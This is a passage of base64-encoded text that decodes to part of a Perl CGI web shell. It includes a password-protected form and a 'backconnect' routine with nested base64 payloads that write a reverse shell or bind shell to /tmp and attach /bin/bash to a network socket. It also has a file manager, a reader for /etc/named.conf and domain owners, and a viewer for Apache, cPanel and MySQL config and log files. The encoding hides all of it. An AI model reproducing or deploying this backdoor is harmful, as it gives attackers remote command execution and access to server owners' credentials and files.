oJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gVGVzdGluZyAuLi4uCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwoJaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICIkZmlsZSI7Cgl9CglyZXR1cm4gIjAiOwp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRzaXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsKCX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQllbHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBUcmltU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7Cgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPgoJCTx0aCB3aWR0aD0nMTAwJz5QZXJtaXNzaW9uPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibm90bGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCW5leHQ7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJyk7IHJldHVybiBmYWxzZTsgXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCW15ICRhY3Rpb24gPSBlbmNvZGVfYmFzZTY0KCJlZGl0ICIuJGZpbGUpOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZDBtYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoMz48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+V2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2s8L2ZvbnQ+PC9oMz4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLAoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywKCQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsCgkJCScvdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaScsCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsCgkJCScvdmFyL215c3FsLmxvZycsCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teS5jbmYnLAoJCQkpOwoJbXkgJGk9MDsKCW15ICRwZXJtczsKCW15ICRzbDsKCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpCgl7CgkJaWYoLXIgJGxvZykKCQl7CgkJCSRwZXJtcz0iT0siOwoJCX1lbHNlCgkJewoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+CgkJCTwvZm9ybT4KCQkJPHRkPiRwZXJtczwvdGQ+CgoJCTwvdHI+CkVORAoJCSRpKys7Cgl9CgkkcmVzdWx0IC49IjwvdGFibGU+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dyYW0gLSBFe